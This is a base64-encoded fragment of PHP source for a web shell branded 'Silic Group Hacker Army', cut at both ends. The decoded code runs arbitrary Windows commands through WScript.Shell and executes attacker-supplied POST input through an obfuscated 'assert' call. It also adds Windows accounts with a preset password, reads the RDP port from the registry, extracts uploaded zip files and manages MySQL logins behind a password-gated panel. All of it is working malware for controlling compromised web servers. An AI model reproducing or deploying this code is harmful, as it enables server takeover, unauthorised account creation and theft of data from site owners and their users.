KCQkJCXsNCgkJCQkJJGNvb2tpZXRpbWUgPSB0aW1lKCkgKyAyNCAqIDM2MDA7DQoJCQkJCXNldGNvb2tpZSgnbV9zaWxpY2hvc3QnLCRfUE9TVFsnbWhvc3QnXSwkY29va2lldGltZSk7DQoJCQkJCXNldGNvb2tpZSgnbV9zaWxpY3BvcnQnLCRfUE9TVFsnbXBvcnQnXSwkY29va2lldGltZSk7DQoJCQkJCXNldGNvb2tpZSgnbV9zaWxpY3VzZXInLCRfUE9TVFsnbXVzZXInXSwkY29va2lldGltZSk7DQoJCQkJCXNldGNvb2tpZSgnbV9zaWxpY3Bhc3MnLCRfUE9TVFsnbXBhc3MnXSwkY29va2lldGltZSk7DQoJCQkJCWRpZSgn1f3U2rXHwr0sx+vJ1LryLi4uPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P3M9ciI+Jyk7DQoJCQkJfQ0KCQkJfQ0KCQkJcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ib2Zvcm0iIGlkPSJvZm9ybSIgYWN0aW9uPSI/cz1vIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+tdjWtyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPrbLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1wb3J0IiB2YWx1ZT0iMzMwNiIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+08O7pyA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXVzZXIiIHZhbHVlPSJyb290IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7D3MLrIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcGFzcyIgdmFsdWU9IiIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IrXHwr0iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+IDxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJDT09LSUUiIHN0eWxlPSJ3aWR0aDo4MHB4OyIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPSc/cz1yJzsiPjwvZGl2Pg0KPC9mb3JtPg0KRU5EOw0KCQkJb2JfZW5kX2ZsdXNoKCk7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQlmdW5jdGlvbiB6aXBhY3QoKQ0KCQl7DQoJCQkkemZpbGU9JF9QT1NUWyd6ZmlsZSddID8gJF9QT1NUWyd6ZmlsZSddOidwaHAuemlwJzsNCgkJCSRqeXB0PSRfUE9TVFsnanlwdCddID8gJF9QT1NUWydqeXB0J106Jy4vJzsNCgkJCSR0aXA9Is60v6rKvL3i0bkiOw0KCQkJaWYoJF9QT1NUWyd6aXAnXT09J3ppcCcpew0KCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cyh6aXBfb3Blbikpew0KCQkJCQkkemZpbGU9a2V5X2V4aXN0cygnemlwJywgJF9HRVQpICYmICRfR0VUWyd6aXAnXT8kX0dFVFsnemlwJ106JHpmaWxlOw0KCQkJCQkkemZpbGU9IHN0cl9yZXBsYWNlKGFycmF5KGRpcm5hbWUoX19GSUxFX18pLiIvIixkaXJuYW1lKF9fRklMRV9fKS4iXFwiKSxhcnJheSgiIiwiIiksJHpmaWxlKTsNCgkJCQkJJHpwYXRoPXN0cl9yZXBsYWNlKCdcXCcsJy8nLGRpcm5hbWUoX19GSUxFX18pKS4nLycuJHpmaWxlOw0KCQkJCQlpZighaXNfZmlsZSgkenBhdGgpKXskdGlwPSfOxLz+IicuJHpwYXRoLicisru05tTaISc7fWVsc2V7DQoJCQkJCQkkemlwPSBuZXcgWmlwQXJjaGl2ZSgpOw0KCQkJCQkJJHJzPSR6aXAtPm9wZW4oJHpwYXRoKTsNCgkJCQkJCWlmKCRycyAhPT0gVFJVRSl7JHRpcD0nveLRucqnsNw6Jy4kcnM7fQ0KCQkJCQkJJHppcC0+ZXh0cmFjdFRvKCRqeXB0KTsNCgkJCQkJCSR6aXAtPmNsb3NlKCk7DQoJCQkJCQkkdGlwPSR6ZmlsZS4nveLRubPJuaYhJzt9DQoJCQkJfWVsc2V7JHRpcD0it/7O8cb3srvWp7PWUEhQX1pJUNfpvP4sx+vIt8jPIjt9DQoJCQl9DQoJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCjxmb3JtIGFjdGlvbj0iP3M9emEiIG1ldGhvZD0iUE9TVCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ6aXAiIGlkPSJ6aXAiIHZhbHVlPSJ6aXAiPg0Ksb7Eo7/pyrnTw1BIULXEemlwX29wZW7AqdW5wLSy2df3WklQ0bnL9c7EvP48YnI+DQrKudPDx7DH69Taob48Yj48YSBocmVmPSI/cz1mIj7Ptc2z0MXPojwvYT48L2I+ob/W0Mi3yM/Ptc2z1qez1nBocF96aXA8YnI+DQrRucv1zsS8/sK3vra/ydC0z8K8tsS/wry6zc7vwO3Ct762o6zP4LbUxL/CvMrHt/G/ybLZ1/fOtLLiytQgOi0oPGJyPg0KyLfIz8S/serCt762v8nQtDxicj48YnI+DQrRucv1zsS8/sK3vrajujxicj4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ6ZmlsZSIgaWQ9InpmaWxlIiB2YWx1ZT0ieyR6ZmlsZX0iIHN0eWxlPSJ3aWR0aDo3MjBweDsiPjxicj48YnI+DQrEv7Hqwre+tqO6DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ianlwdCIgaWQ9Imp5cHQiIHZhbHVlPSJ7JGp5cHR9IiBzdHlsZT0id2lkdGg6NzIwcHg7Ij48YnI+PGJyPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ir+qyry94tG5IiBzdHlsZT0id2lkdGg6ODBweDsiPjxicj48YnI+PGJyPg0KeyR0aXB9PGJyPjxicj48YnI+PC9mb3JtPjwvZGl2Pg0KRU5EOw0KCQl9DQoJCS8vV2luZG93c9fpvP6907/aDQoJCWZ1bmN0aW9uIHdpbnNoZWxsKCkNCgkJew0KCQkJJG5vcD0nJm5ic3A7Jm5ic3A7JzsNCgkJCWlmKCRfR0VUWyd3aW5zaGVsbCddPT0nd3NjcmlwdCcpew0KCQkJCSR3Y21kPSRfUE9TVFsnd2NtZCddID8gJF9QT1NUWyd3Y21kJ106J25ldCB1c2VyJzsNCgkJCQkkd2NwdGg9JF9QT1NUWyd3Y3B0aCddID8gJF9QT1NUWyd3Y3B0aCddOidjbWQuZXhlJzsNCgkJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj4NCjxmb3JtIGFjdGlvbj0iP3M9amsmd2luc2hlbGw9d3NjcmlwdCIgbWV0aG9kPSJQT1NUIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvIiBpZD0iZG8iIHZhbHVlPSJkbyI+PGJyPg0KeyRub3B9PGlucHV0IHR5cGU9InRleHQiIG5hbWU9IndjbWQiIGlkPSJ3Y21kIiB2YWx1ZT0ieyR3Y3B0aH0iIHN0eWxlPSJ3aWR0aDozMDBweDsiPiAtJmd0OyBDTUTCt762PGJyIC8+DQp7JG5vcH08aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id2NtZCIgaWQ9IndjbWQiIHZhbHVlPSJ7JHdjbWR9IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ita00NAiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQo8YnI+PGJyPjxicj48L2Zvcm0+PC9kaXY+DQpFTkQ7DQppZigkX1BPU1RbJ2RvJ109PSdkbycpew0KCSR3dz0kd2NwdGguIiAvYyAiLiR3Y21kOw0KCSRwaHB3c2g9bmV3IENPTSgiV3NjcmlwdC5TaGVsbCIpIG9yIGRpZSgitLS9qFNoZWxsLldzY3JpcHTX6bz+yqew3CIpOw0KCSRwaHBleGVjPSRwaHB3c2gtPmV4ZWMoJHd3KTsNCgkkZXhlY291dHB1dD0kd3NoZXhlYy0+c3Rkb3V0KCk7DQoJJHJlc3VsdD0kZXhlY291dHB1dC0+cmVhZGFsbCgpOw0KCWVjaG8gJHJlc3VsdDsNCglAJHBocHdzaC0+UmVsZWFzZSgpOw0KCSRwaHB3c2g9TlVMTDsNCn0NCgkJCX1lbHNlaWYoJF9HRVRbJ3dpbnNoZWxsJ109PSdzaGVsbHVzZXInKXsNCgkJCQkkd3VzZXI9JF9QT1NUWyd3dXNlciddID8gJF9QT1NUWyd3dXNlciddOidzaWxpYyc7DQoJCQkJJHdwYXN3PSRfUE9TVFsnd3Bhc3cnXSA/ICRfUE9TVFsnd3Bhc3cnXTonMTIzNEBzaWxpYyMnOw0KCQkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPg0KPGZvcm0gYWN0aW9uPSI/cz1qayZ3aW5zaGVsbD1zaGVsbHVzZXIiIG1ldGhvZD0iUE9TVCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkbyIgaWQ9ImRvIiB2YWx1ZT0iZG8iPjxicj4NClNoZWxsLlVzZXJz1+m8/sztvNO53MDt1LE8YnI+PGJyPg0KeyRub3B90MK9qNPDu6fD+6O6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ind1c2VyIiBpZD0id3VzZXIiIHZhbHVlPSJ7JHd1c2VyfSIgc3R5bGU9IndpZHRoOjEwMHB4OyI+PGJyPg0KeyRub3B90MLTw7unw9zC66O6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9IndwYXN3IiBpZD0id3Bhc3ciIHZhbHVlPSJ7JHdwYXN3fSIgc3R5bGU9IndpZHRoOjEwMHB4OyI+PGJyPjxicj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLM7bzTIiBzdHlsZT0id2lkdGg6ODBweDsiPg0KPGJyPjxicj48YnI+PC9mb3JtPjwvZGl2Pg0KRU5EOw0KaWYoJF9QT1NUWydkbyddPSdkbycpew0KCSRzaGVsbCA9IG5ldyBDT00oIlNoZWxsLlVzZXJzIik7DQoJJGNtZCA9ICRzaGVsbC0+Y3JlYXRlKCR3dXNlcik7DQoJJGNtZC0+Y2hhbmdlUGFzc3dvcmQoJHdwYXN3LCIiKTsNCgkkY21kLT5zZXR0aW5nWyJBY2NvdW50VHlwZSJdID0gMzsNCn0NCgkJCX1lbHNlaWYoJF9HRVRbJ3dpbnNoZWxsJ109PSdyZWdlZGl0Jyl7DQoJCQkJJHJlZ3BhdGg9JF9QT1NUWydyZWdwYXRoJ10gPyAkX1BPU1RbJ3JlZ3BhdGgnXTonSEtFWV9MT0NBTF9NQUNISU5FXFxTWVNURU1cXENvbnRyb2xTZXQwMDFcXENvbnRyb2xcXFRlcm1pbmFsIFNlcnZlclxcV2RzXFxyZHB3ZFxcVGRzXFx0Y3BcXFBvcnROdW1iZXInOw0KCQkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPg0KPGZvcm0gYWN0aW9uPSI/cz1qayZ3aW5zaGVsbD1yZWdlZGl0IiBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG8iIGlkPSJkbyIgdmFsdWU9ImRvIj48YnI+DQpSZWdSZWFkKCm6r8r9tsHIodeisuGx7cTayN0oU2hlbGwuV3NjcmlwdNfpvP4pPGJyPjxicj4NCteisuGx7cK3vrajujxicj4NCnskbm9wfTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZWdwYXRoIiBpZD0icmVncGF0aCIgdmFsdWU9InskcmVncGF0aH0iIHN0eWxlPSJ3aWR0aDo3MjBweDsiPjxicj48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0itsHIocTayN0iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+DQo8YnI+PGJyPjxicj48L2Zvcm0+PC9kaXY+DQpFTkQ7DQppZigkX1BPU1RbJ2RvJ109PSdkbycpew0KCSRzaGVsbCA9IG5ldyBDT00oIldTY3JpcHQuU2hlbGwiKSBvciBkaWUoIrS0vahTaGVsbC5Xc2NyaXB01+m8/sqnsNwiKTsNCgl0cnl7JHJlZ2lzdHJ5X3Byb3h5c3RyaW5nID0gJHNoZWxsLT5SZWdSZWFkKCRyZWdwYXRoKTt9DQoJY2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICfE2sjdOiAnLiRlLT5nZXRNZXNzYWdlKCk7fQ0KCWVjaG8gJHJlZ2lzdHJ5X3Byb3h5c3RyaW5nOw0KfQ0KCQkJfWVsc2V7DQoJCQkJJHRpcD0ivt2y4srUsb65psTcv8nTw7XEv8nE3NDUzqrN8rfW1q7Suzxicj5XZWJzaGVsbMv51Nq3/s7xxvex2NDrzqpXaW5kb3dzz7XNszxicj5QSFDM4cioutzB6bvuo6y1q8Tj1Nq3x7Ojzt7EzrXEyrG68r/J0tSzosrUsb65psTcPGJyPjwvaDU+PGJyPjxicj48YnI+IjsNCgkJCQlwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj48cHJlPg0KPGJyPjxhIGhyZWY9Ij9zPWprJndpbnNoZWxsPXdzY3JpcHQiPiBbIFdTY3JpcHTX6bz+IF0gPC9hPjxicj48YnI+DQo8aDU+sb65psTcyrnTw1BIULX308NXaW5kb3dz1+m8/tbQtcRXc2NyaXB01+m8/qGjPGJyPg0KV3NjcmlwdM6qtffTw2NtZMP8we7X6bz+PGJyPnskdGlwfTxhIGhyZWY9Ij9zPWprJndpbnNoZWxsPXNoZWxsdXNlciI+IFsgU2hlbGwuVXNlctfpvP4gXSA8L2E+PGJyPjxicj4NCjxoNT6xvrmmxNzKudPDUEhQtffTw1dpbmRvd3PX6bz+1tC1xFNoZWxsLnVzZXLX6bz+PGJyPg0KVVNFUtfpvP7OqldpbmRvd3PPtc2z08O7p7LZ1/fP4LnY1+m8/jxicj57JHRpcH08YSBocmVmPSI/cz1qayZ3aW5zaGVsbD1yZWdlZGl0Ij4gWyDXorLhse22wcihIF0gPC9hPjxicj48YnI+DQo8aDU+sb65psTcyrnTw1BIULX308NXaW5kb3dz1+m8/tbQtcRTaGVsbC5Xc2NyaXB01+m8/jxicj4NClJlZ1JlYWQoKbqvyv22wcihz7XNs9eisuGx7cTayN08YnI+eyR0aXB9PC9wcmU+PC9kaXY+DQpFTkQ7DQoJCQl9DQoJCX0NCgkJLyoqtcfCvc/gudi/qsq8KiovDQoJCWlmKCRfR0VUWydzJ10gPT0gJ2xvZ291dCcpew0KCQkJc2V0Y29va2llKCdhZG1pbl9zaWxpY3Bhc3MnLE5VTEwpOw0KCQkJZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0/Ij4nKTsNCgkJfWVsc2VpZigkX0dFVFsncyddID09ICdjaCcpew0KCQkJJG9sZHBzPW1kNShtZDUobWQ1KHRyaW0oJHNhbHQuJF9QT1NUWydvbGRwcyddKSkpKTsNCgkJCSRuZXdwcz1iYXNlNjRfZW5jb2RlKGJhc2U2NF9kZWNvZGUoJ0pIQmhjM04zYjNKa1BTST0nKS5tZDUobWQ1KG1kNSh0cmltKCRzYWx0LiRfUE9TVFsnbmV3cHMnXSkpKSkuYmFzZTY0X2RlY29kZSgnSWpzPScpKTsNCgkJCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIGFjdGlvbj0iP3M9Y2giIG1ldGhvZD0iUE9TVCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaCIgaWQ9ImNoIiB2YWx1ZT0iY2giPjxicj4NCiog0N64xLG+s8zQ8rXHwr3D3MLrKMn308Mhv8nE3Lvh1OyzybPM0PLKp8ilz+zTpik8YnI+DQoqILG+s8zQ8tPJPGEgaHJlZj0iaHR0cDovL2JsYWNrYmFwLm9yZyIgX3RhcmdldCJfYmxhbmsiPlNpbGljIEdyb3VwPC9hPrv509pTcGlkZXLEvsLtv6q3oqOssb6w5srHu/nT2lNwaWRlcsS+wu2/8rzctcS12s7ltM7W2NDCv6q3ojxicj4NCiogsb6zzNDyssnTw8j9suNNRDUrU2FsdLzTw9y807b+tM5zZXNzaW9uvNPD3KOstPO/ybK7sdi1o9DEsbvIy8nnuaQ8YnI+DQoqILXazuWw5tb30qq4/NDCo7rJvsilRlRQstnX9yzXorLhse2y2df3LFNoZWxsY29kZdequ7ujrM3qyca6zbexu6rP1tPQtcS5psTco6zQ3tX9z9bT0LmmxNy1xLK/t9ZidWejrNPFu6+0+sLrPGJyPg0KKiBTaWxpYyBHcm91cCBIYWNrZXIgQXJteSAtILy8yvW5ss/tLLy8yvXX1NPJLLy8yvXUrbS0LLy8yvW9+LK9PGJyPg0KKiA8YSBocmVmPSJodHRwOi8vYmxhY2tiYXAub3JnIiB0YXJnZXQ9Il9ibGFuayI+QmxhY2tCYXAuT3JnPC9hPjxicj48YnI+DQq+ycPcwuujujxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJvbGRwcyIgaWQ9Im9sZHBzIiB2YWx1ZT0iIiBzdHlsZT0id2lkdGg6MTIwcHg7Ij48YnIgLz4NCtDCw9zC66O6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld3BzIiBpZD0ibmV3cHMiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDoxMjBweDsiPjxicj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSK4/LjEIiBzdHlsZT0id2lkdGg6ODBweDsiPg0KPGJyPjxicj48YnI+PC9mb3JtPjwvZGl2Pg0KRU5EOw0KCQkJaWYoJF9QT1NUWydjaCddPSdjaCcgJiYgJG9sZHBzPT0kcGFzc3dvcmQgJiYgIWVtcHR5KCRfUE9TVFsnbmV3cHMnXSkpDQoJCQl7DQoJCQkJJGRsaW5lPTE5Ow0KCQkJCSRjaHBzQXJyPWZpbGUoX19GSUxFX18pOw0KCQkJCSRjaHNpemU9Y291bnQoJGNocHNBcnIpOw0KCQkJCWZvcigkY2hpPTA7ICRjaGk8ICRjaHNpemU7ICRjaGkrKyl7DQoJCQkJCWlmKCRjaGk9PSRkbGluZS0xKXskY2hwc1N0ci49YmFzZTY0X2RlY29kZSgkbmV3cHMpLiJcclxuIjt9DQoJCQkJCWVsc2V7JGNocHNTdHIuPSRjaHBzQXJyWyRjaGldO30NCgkJCQl9DQoJCQkJZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sJGNocHNTdHIpOw0KCQkJCWVjaG8gIrj8uMSzybmmIjsNCgkJCX1lbHNle2VjaG8gIsO709C4/LjEw9zC6yI7fQ0KCQl9ZWxzZWlmKG1kNShtZDUobWQ1KCRzYWx0LnRyaW0oJF9HRVRbJ3MnXSkpKSkgPT0gJHBhc3N3b3JkKXsNCgkJCSRhc3NlPSRhc3NlezB9LiRhc3NlezF9LiRhc3NlezF9LiRhc3NlezJ9LiRhc3NlezN9LiRhc3NlezR9Ow0KCQkJQCRhc3NlKCRfUE9TVFskX0dFVFsncyddXSk7DQoJCX1lbHNlew0KCQkJLy+1x8K9DQoJCQlmdW5jdGlvbiBSb290X0xvZ2luKCRNU0dfVE9QKQ0KCQkJew0KCQkJCSRJUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOw0KCQkJCXByaW50PDw8RU5EDQo8aHRtbD4NCgk8Ym9keSBzdHlsZT0iYmFja2dyb3VuZDojQUFBQUFBOyI+DQoJCTxjZW50ZXI+DQoJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCTxkaXYgc3R5bGU9IndpZHRoOjM1MXB4O2hlaWdodDoyMDFweDttYXJnaW4tdG9wOjEwMHB4O2JhY2tncm91bmQ6dGhyZWVkZmFjZTtib3JkZXItY29sb3I6I0ZGRkZGRiAjOTk5OTk5ICM5OTk5OTkgI0ZGRkZGRjtib3JkZXItc3R5bGU6c29saWQ7Ym9yZGVyLXdpZHRoOjFweDsiPg0KCQk8ZGl2IHN0eWxlPSJ3aWR0aDozNTBweDtoZWlnaHQ6MjJweDtwYWRkaW5nLXRvcDoycHg7Y29sb3I6I0ZGRkZGRjtiYWNrZ3JvdW5kOiMyOTNGNUY7Y2xlYXI6Ym90aDsiPjxiPnskTVNHX1RPUH08L2I+PC9kaXY+DQoJCTxkaXYgc3R5bGU9IndpZHRoOjM1MHB4O2hlaWdodDo4MHB4O21hcmdpbi10b3A6NTBweDtjb2xvcjojMDAwMDAwO2NsZWFyOmJvdGg7Ij5QQVNTOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic2lsaWNwYXNzIiBzdHlsZT0id2lkdGg6MjcwcHg7Ij48L2Rpdj4NCgkJPGRpdiBzdHlsZT0id2lkdGg6MzUwcHg7aGVpZ2h0OjMwcHg7Y2xlYXI6Ym90aDsiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMT0dJTiIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCgkJPC9kaXY+DQoJCTwvZm9ybT4NCgkJPC9jZW50ZXI+DQoJPC9ib2R5Pg0KPC9odG1sPg0KRU5EOw0KCQkJCXJldHVybiBmYWxzZTsNCgkJCX0NCgkJCS8vtLDM5Q0KCQkJZnVuY3Rpb24gV2luTWFpbigpDQoJCQl7DQoJCQkJJFNlcnZlcl9JUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOw0KCQkJCSRTZXJ2ZXJfT1MgPSBQSFBfT1M7DQoJCQkJJFNlcnZlcl9Tb2Z0ID0gJF9TRVJWRVJbIlNFUlZFUl9TT0ZUV0FSRSJdOw0KCQkJCXByaW50PDw8RU5EDQo8aHRtbD48aGVhZD48dGl0bGU+U2lsaWMgR3JvdXAgSGFja2VyIEFybXkgLSBCbGFja0JhcC5Pcmc8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCip7cGFkZGluZzowOyBtYXJnaW46MDt9DQpib2R5e2JhY2tncm91bmQ6I0FBQUFBQTtmb250LWZhbWlseToiVmVyZGFuYSIsICJUYWhvbWEiLCLLzszlIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxM3B4O3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi10b3A6NXB4O3dvcmQtYnJlYWs6YnJlYWstYWxsO30NCmF7Y29sb3I6I0ZGRkZGRjt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQphOmhvdmVye2JhY2tncm91bmQ6I0JCQkJCQjt9DQoub3V0dGFibGV7bWFyZ2luOiAwIGF1dG87aGVpZ2h0OjU5NXB4O3dpZHRoOjk1NXB4O2NvbG9yOiMwMDAwMDA7Ym9yZGVyLXRvcC13aWR0aDogMnB4O2JvcmRlci1yaWdodC13aWR0aDoycHg7Ym9yZGVyLWJvdHRvbS13aWR0aDogMnB4O2JvcmRlci1sZWZ0LXdpZHRoOiAycHg7Ym9yZGVyLXRvcC1zdHlsZTogb3V0c2V0O2JvcmRlci1yaWdodC1zdHlsZTogb3V0c2V0O2JvcmRlci1ib3R0b20tc3R5bGU6IG91dHNldDtib3JkZXItbGVmdC1zdHlsZTogb3V0c2V0O2JvcmRlci10b3AtY29sb3I6ICNGRkZGRkY7Ym9yZGVyLXJpZ2h0LWNvbG9yOiAjOGM4YzhjO2JvcmRlci1ib3R0b20tY29sb3I6ICM4YzhjOGM7Ym9yZGVyLWxlZnQtY29sb3I6ICNGRkZGRkY7YmFja2dyb3VuZC1jb2xvcjogdGhyZWVkZmFjZTt9DQoudG9wYmd7cGFkZGluZy10b3A6M3B4O2ZvbnQtc2l6ZToxMnB4O3RleHQtYWxpZ246bGVmdDtmb250LXdlaWdodDpib2xkO2hlaWdodDoyMnB4O3dpZHRoOjk1MHB4O2NvbG9yOiNGRkZGRkY7YmFja2dyb3VuZDojMjkzRjVGO30NCi5saXN0Ymd7Zm9udC1mYW1pbHk6J2x1Y2lkYSBncmFuZGUnLHRhaG9tYSxoZWx2ZXRpY2EsYXJpYWwsJ2JpdHN0cmVhbSB2ZXJhIHNhbnMnLHNhbnMtc2VyaWY7Zm9udC1zaXplOjEzcHg7d2lkdGg6MTMwcHg7fQ0KLmxpc3RiZyBsaXtwYWRkaW5nOjNweDtjb2xvcjojMDAwMDAwO2hlaWdodDoyNXB4O2Rpc3BsYXk6YmxvY2s7bGluZS1oZWlnaHQ6MjZweDt0ZXh0LWluZGVudDowcHg7fQ0KLmxpc3RiZyBsaSBhe3BhZGRpbmctdG9wOjJweDtiYWNrZ3JvdW5kOiNCQkJCQkI7Y29sb3I6IzAwMDAwMDtoZWlnaHQ6MjVweDtkaXNwbGF5OmJsb2NrO2xpbmUtaGVpZ2h0OjI0cHg7dGV4dC1pbmRlbnQ6MHB4O2JvcmRlci1jb2xvcjojOTk5OTk5ICM5OTk5OTkgIzk5OTk5OSAjOTk5OTk5O2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O3RleHQtZGVjb3JhdGlvbjpub25lO30NCi5mb290ZXJ7cGFkZGluZy10b3A6M3B4O3RleHQtYWxpZ246IGNlbnRlcjtmb250LXNpemU6MTJweDtmb250LXdlaWdodDogYm9sZDtoZWlnaHQ6MjBweDt3aWR0aDo5NTBweDtjb2xvcjojMDAwMDAwO2JhY2tncm91bmQ6ICM4ODg4ODg7fQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPg0KZnVuY3Rpb24gc3dpdGNoVGFiKHRhYmlkKQ0Kew0KaWYodGFiaWQgPT0gJycpIHJldHVybiBmYWxzZTsNCmZvcih2YXIgaT0wO2k8PTE1O2krKykNCnsNCglpZih0YWJpZCA9PSAndF8nK2kpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmlkKS5zdHlsZS5iYWNrZ3JvdW5kPSIjRkZGRkZGIjsNCgllbHNlIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0XycraSkuc3R5bGUuYmFja2dyb3VuZD0iI0JCQkJCQiI7DQp9DQpyZXR1cm4gdHJ1ZTsNCn0NCjwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQo8ZGl2IGNsYXNzPSJvdXR0YWJsZSI+DQo8ZGl2IGNsYXNzPSJ0b3BiZyI+Jm5ic3A7PGEgaHJlZj0iP3M9bG9nb3V0IiB0aXRsZT0izcuz9iI+JiM4ODU3OzwvYT4mbmJzcDsmIzg4NTc7Jm5ic3A7PGEgaHJlZj0iP3M9Y2giIHRhcmdldD0ibWFpbiIgdGl0bGU9Irj8uMTD3MLrIj4mIzg4NTc7PC9hPiZuYnNwO3skU2VydmVyX0lQfSAtIHskU2VydmVyX09TfSAtIHskU2VydmVyX1NvZnR9PC9kaXY+DQoJPGRpdiBzdHlsZT0iaGVpZ2h0OjU0NnB4OyI+DQoJCTx0YWJsZSB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBib3JkZXI9MCBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KCQk8dHI+PHRkIHdpZHRoPSIxNDAiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj4NCgkJCTx1bCBjbGFzcz0ibGlzdGJnIj4NCjxsaT48YSBocmVmPSI/cz1hIiBpZD0idF8wIiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMCcpIiBzdHlsZT0iYmFja2dyb3VuZDojRkZGRkZGOyIgdGFyZ2V0PSJtYWluIj7OxLz+udzA7TwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPWciIGlkPSJ0XzEiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xJykiIHRhcmdldD0ibWFpbiI+1rTQ0MP8we48L2E+PC9saT4NCjxsaT48YSBocmVmPSI/cz1pIiBpZD0idF8yIiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMicpIiB0YXJnZXQ9Im1haW4iPsmow+i2y7/aPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9ZiIgaWQ9InRfMyIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzMnKSIgdGFyZ2V0PSJtYWluIj7Ptc2z0MXPojwvYT48L2xpPg0KPGxpPjxhIGhyZWY9Ij9zPW4iIGlkPSJ0XzQiIG9uY2xpY2s9InN3aXRjaFRhYigndF80JykiIHRhcmdldD0ibWFpbiI+TVlTUUzWtNDQPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9byIgaWQ9InRfNSIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzUnKSIgdGFyZ2V0PSJtYWluIj5NWVNRTLncwO08L2E+PC9saT4NCjxsaT48YSBocmVmPSI/cz1wcSIgaWQ9InRfNiIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzYnKSIgdGFyZ2V0PSJtYWluIj5Qb3N0Z3JlU1FMPC9hPjwvbGk+DQo8bGk+PGEgaHJlZj0iP3M9Z2ciIG